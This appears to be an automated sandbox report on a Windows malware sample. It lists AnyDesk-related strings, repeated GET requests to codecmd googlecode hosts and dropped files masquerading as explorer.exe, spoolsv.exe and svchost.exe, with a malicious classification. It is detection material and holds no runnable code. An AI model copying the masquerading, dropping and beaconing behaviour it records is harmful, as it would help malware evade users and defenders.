Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://help.anydesk.com/error-messages
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://help.anydesk.com/macos-security
Source: sj9q8uwmax.exe , 00000001.00000002.763503240.0000000003A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.anydesk.com/macos-securitys.
Source: sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.anydesk.com/nnl
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.763503240.0000000003A00000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://help.anydesk.com/share
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.anydesk.com/shareW
Source: sj9q8uwmax.exe , 00000001.00000002.763503240.0000000003A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.anydesk.com/shareh
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://help.anydesk.com/wol
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://my.anydesk.com
Source: sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://my.anydesk.com/password-generator.
Source: sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.coms
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://order.anydesk.com/trial
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://policies.google.com/privacy?hl=$
Source: sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/privacy?hl=en
Source: sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/privacy?hl=en$
Source: sj9q8uwmax.exe , 00000001.00000003.458795894.00000000034FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/privacy?hl=enf
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.anydesk.com/
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.anydesk.com/.
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.anydesk.com/AnyDesk_on_macOS
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.anydesk.com/f
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://twitter.com/home?status=Do%20you%20know%20%23AnyDesk?%20AnyDesk%20is%20a%20small%20and%20qui
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.google.com/intl/$
Source: sj9q8uwmax.exe , 00000001.00000003.458851147.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en
Source: sj9q8uwmax.exe , 00000001.00000003.458787868.00000000034F2000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.linkedin.com/shareArticle?mini=true&url=https%3A//anydesk.com/&title=Try%20AnyDesk%20Rem
Source: sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000001.00000002.726721598.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000003.00000002.726721617.00000000009DB000.00000002.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000006.00000002.726722207.00000000009DB000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.nayuki.io/page/qr-code-generator-library

Source: unknown

DNS traffic detected: queries for: boot.net.anydesk.com

Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 185.229.191.39:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.236:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.236:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.237:443 -> 192.168.2.5:49889 version: TLS 1.2

Source: sj9q8uwmax.exe , 00000001.00000003.446344322.00000000017F9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: DirectDrawCreateEx

System Summary

PE file has a writeable .text section

Source: sJ9Q8UWMAX.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: icsys.icn.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: explorer.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: spoolsv.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: svchost.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: sJ9Q8UWMAX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\Resources\Themes\icsys.icn.exe

File deleted: C:\Windows\Resources\Themes\explorer.exe

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

File created: C:\Windows\Resources\Themes\icsys.icn.exe

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

Code function: 0_2_00412C10

0_2_00412C10

Source: sj9q8uwmax.exe .0.dr

Static PE information: No import functions for PE file found

Source: sJ9Q8UWMAX.exe, 00000000.00000000.435360088.000000000041D000.00000080.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameTJprojMain.exe<?xml version="1.0" encoding="UTF-8" standalone="yes"?> vs sJ9Q8UWMAX.exe

Source: sj9q8uwmax.exe .0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sj9q8uwmax.exe .0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\Resources\Themes\explorer.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Section loaded: tokenbinding.dll			Jump to behavior

Source: sJ9Q8UWMAX.exe	Virustotal: Detection: 86%
Source: sJ9Q8UWMAX.exe	Metadefender: Detection: 85%
Source: sJ9Q8UWMAX.exe	ReversingLabs: Detection: 100%

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

File read: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll
Source: C:\Windows\Resources\svchost.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Users\user\Desktop\sJ9Q8UWMAX.exe "C:\Users\user\Desktop\sJ9Q8UWMAX.exe"
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process created: C:\Users\user\Desktop\sj9q8uwmax.exe c:\users\user\desktop\sj9q8uwmax.exe
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process created: C:\Windows\Resources\Themes\icsys.icn.exe C:\Windows\Resources\Themes\icsys.icn.exe
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process created: C:\Users\user\Desktop\sj9q8uwmax.exe "c:\users\user\desktop\sj9q8uwmax.exe " --local-service
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process created: C:\Windows\Resources\Themes\explorer.exe c:\windows\resources\themes\explorer.exe
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process created: C:\Users\user\Desktop\sj9q8uwmax.exe "c:\users\user\desktop\sj9q8uwmax.exe " --local-control
Source: C:\Windows\Resources\Themes\explorer.exe	Process created: C:\Windows\Resources\spoolsv.exe c:\windows\resources\spoolsv.exe SE
Source: C:\Windows\Resources\spoolsv.exe	Process created: C:\Windows\Resources\svchost.exe c:\windows\resources\svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\Resources\svchost.exe	Process created: C:\Windows\Resources\spoolsv.exe c:\windows\resources\spoolsv.exe PR
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\Resources\Themes\explorer.exe "C:\windows\resources\themes\explorer.exe" RO
Source: unknown	Process created: C:\Windows\Resources\svchost.exe "C:\windows\resources\svchost.exe" RO
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process created: C:\Users\user\Desktop\sj9q8uwmax.exe c:\users\user\desktop\sj9q8uwmax.exe	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process created: C:\Windows\Resources\Themes\icsys.icn.exe C:\Windows\Resources\Themes\icsys.icn.exe	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process created: C:\Users\user\Desktop\sj9q8uwmax.exe "c:\users\user\desktop\sj9q8uwmax.exe " --local-service	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process created: C:\Users\user\Desktop\sj9q8uwmax.exe "c:\users\user\desktop\sj9q8uwmax.exe " --local-control	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process created: C:\Windows\Resources\Themes\explorer.exe c:\windows\resources\themes\explorer.exe	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process created: C:\Windows\Resources\spoolsv.exe c:\windows\resources\spoolsv.exe SE	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Process created: C:\Windows\Resources\svchost.exe c:\windows\resources\svchost.exe	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process created: C:\Windows\Resources\spoolsv.exe c:\windows\resources\spoolsv.exe PR	Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

File created: c:\users\user\desktop\sj9q8uwmax.exe

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

File created: C:\Users\user\AppData\Local\Temp\~DFFE57A1C8066DBB5E.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.spre.evad.winEXE@22/19@15/7

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

Code function: 0_2_00410180 __vbaChkstk,__vbaStrCopy,__vbaAryConstruct2,__vbaOnError,CreateToolhelp32Snapshot,__vbaSetSystemError,__vbaRecUniToAnsi,Process32First,__vbaSetSystemError,__vbaRecAnsiToUni,#525,__vbaStrMove,__vbaSetSystemError,__vbaGenerateBoundsError,__vbaStrToAnsi,K32GetModuleFileNameExA,__vbaSetSystemError,__vbaStrToUnicode,__vbaFreeStr,#616,__vbaStrMove,__vbaStrMove,__vbaFreeStr,__vbaLenBstr,__vbaStrCat,__vbaStrMove,__vbaStrCat,__vbaStrMove,__vbaInStr,__vbaFreeStrList,__vbaRecUniToAnsi,Process32Next,__vbaSetSystemError,__vbaRecAnsiToUni,FindCloseChangeNotification,__vbaFreeStr,__vbaAryDestruct,__vbaFreeStr,__vbaFreeStr,

0_2_00410180

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Session\1\ad_connect_queue_7024_1677787656_mtx
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6912_1582247049_0_mtx
